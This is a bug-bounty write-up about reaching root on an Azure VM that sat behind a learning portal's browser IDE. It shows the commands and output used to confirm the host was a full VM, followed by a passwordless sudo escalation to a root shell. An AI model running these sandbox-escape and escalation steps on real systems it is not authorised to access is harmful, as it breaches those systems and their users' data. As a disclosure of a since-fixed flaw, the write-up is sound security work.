I Thought It Was a Container… It Was a Whole Azure VM (RCE Story)

I Thought It Was a Container… It Was a Whole Azure VM (RCE Story) | by Utkarsh Srivastava - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original I Thought It Was a Container… It Was a Whole Azure VM (RCE Story) Escaping the IDE: From Code Execution to Root on Azure VM Utkarsh Srivastava Follow ~4 min read · March 23, 2026 (Updated: March 23, 2026) · Free: Yes It started on a very random day. I received a mail from some learning portal saying that I had been enrolled in a course. I didn't remember signing up, but I thought, "Cool… let's see what this is about." So I logged into the portal and started exploring. It looked like a typical course dashboard — modules, lessons, assignments… nothing unusual. Then something caught my eye. There was an "IDE" section . Curious me, I clicked on it. It turned out to be a browser-based playground where users could write and run code — Java, C++, and a few other languages. Basically, an online compiler environment for practicing problems. At first glance, it looked harmless. Just another coding sandbox. But then a thought crossed my mind: "What if this isn't as isolated as it looks?" So instead of solving any problem, I decided to test the environment itself. I wrote something simple: System.out.println(System.getProperty("os.name")); Nothing fancy. Just a small check to see what kind of system was running behind the scenes. And that's where things started getting interesting… The output came back almost instantly. It wasn't something generic like "Linux container" or a restricted runtime. Instead, it clearly revealed details about the underlying system. That's when things got interesting. I Pushed Beyond the Sandbox If this IDE was truly sandboxed, it should strictly limit what I can execute. So I decided to go a step further and run actual system commands using Java. I modified my code to execute commands like: runCommand("whoami"); runCommand("id"); runCommand("uname -a"); And the results? azureuser 2. Groups included: sudo , adm , lxd 3. Kernel: Ubuntu on Azure That was the first red flag. Why would a "sandboxed IDE" expose real system users and groups? Was This Really a Container? At this point, I had two possibilities: It's a properly isolated container It's something much worse So I started verifying. Check 1: PID 1 Process ps aux | grep " 1 " Output showed: /sbin/init This was critical. In containers, PID 1 is usually: bash, python or the application itself But /sbin/init = systemd, which runs only on full systems. Check 2: cgroup Analysis cat /proc/1/cgroup Output: 0::/init.scope If this were a container, I would expect: docker/... kubepods/... But there was nothing. Check 3: Kernel Processes Running: ps aux Revealed processes like: [kthreadd] [kworker] [rcu_sched] USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 166184 10968 ? Ss 01:29 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 01:29 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S 01:29 0:00 [pool_workqueue_release] root 4 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-rcu_g] root 5 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-rcu_p] root 6 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-slub_] root 7 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-netns] root 9 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/0:0H-events_highpri] root 12 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-mm_pe] root 13 0.0 0.0 0 0 ? I 01:29 0:00 [rcu_tasks_rude_kthread] root 14 0.0 0.0 0 0 ? I 01:29 0:00 [rcu_tasks_trace_kthread] root 15 0.0 0.0 0 0 ? S 01:29 0:01 [ksoftirqd/0] root 16 0.0 0.0 0 0 ? I 01:29 0:20 [rcu_sched] root 17 0.0 0.0 0 0 ? S 01:29 0:00 [migration/0] root 18 0.0 0.0 0 0 ? S 01:29 0:00 [idle_inject/0] These are kernel-level threads. Containers don't expose the full kernel process tree. Check 4: Docker Artifacts mount | grep docker No output. No overlay filesystem. No container traces. Check 5: Cloud Indicators uname -a hostname Output clearly pointed to: Azure kernel Hostname: java-test-102 Final Realization At this point, I understood this thing : This was NOT a container. This was a full Azure Virtual Machine. And I had code execution on it. Now Looking for Privileges Now the question changed from: "Can I execute code?" to: "How far can I go?" (hahahahaha i was too happy cause this was my first RCE) I checked logs using: journalctl | grep -i sudo Nov 02 15:12:05 java-test sudo[855296]: pam_unix(sudo:session): session closed for user [REDACTED] Nov 02 15:12:05 java-test sudo[856378]: azureuser : PWD=/home/azureuser/python ; USER=root ; COMMAND=/usr/bin/chown [REDACTED]:user_[REDACTED] /home/azureuser/compilations/[REDACTED]/run.sh Nov 02 15:12:05 java-test sudo[856378]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000) Nov 02 15:12:05 java-test sudo[856367]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000) Nov 02 15:12:05 java-test sudo[856370]: azureuser : PWD=/home/azureuser/python ; USER=root ; COMMAND=/usr/bin/chown -R [REDACTED]:azureuser /home/azureuser/compilations/[REDACTED] Nov 02 15:12:05 java-test sudo[856378]: pam_unix(sudo:session): session closed for user root Nov 02 15:12:05 java-test sudo[856370]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000) Nov 02 15:12:05 java-test sudo[856370]: pam_unix(sudo:session): session closed for user root And saw something very interesting. There were multiple entries where the same user ( azureuser ) had executed commands as root: systemctl reload nginx certbot service management commands This meant one thing: Sudo was being used successfully on this system. Now The Critical Misconfiguration So I ran the obvious command: sudo -l And the result was: (ALL : ALL) ALL (ALL) NOPASSWD: ALL This Means Any command can be executed as root No password required No restrictions This is essentially full system compromise with a single command. Step 5: Root Access I ran: sudo id Output: uid=0(root) gid=0(root) And then: sudo /bin/bash I had a root shell. What started as a random course enrollment turned into full control over an entire virtual machine.Sometimes, the biggest vulnerability is not the code, but the assumption. Key Takeaways Never assume a sandbox is actually sandboxed. Simple enumeration can completely change the attack surface. Misconfigured sudo leads to instant root access. Logs can reveal hidden privilege paths. Impact What can i say other than just RCE. lol, I reported the case and this have been fixed. #bug-bounty-writeup #bug-bounty #rce #rce-vulnerability Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).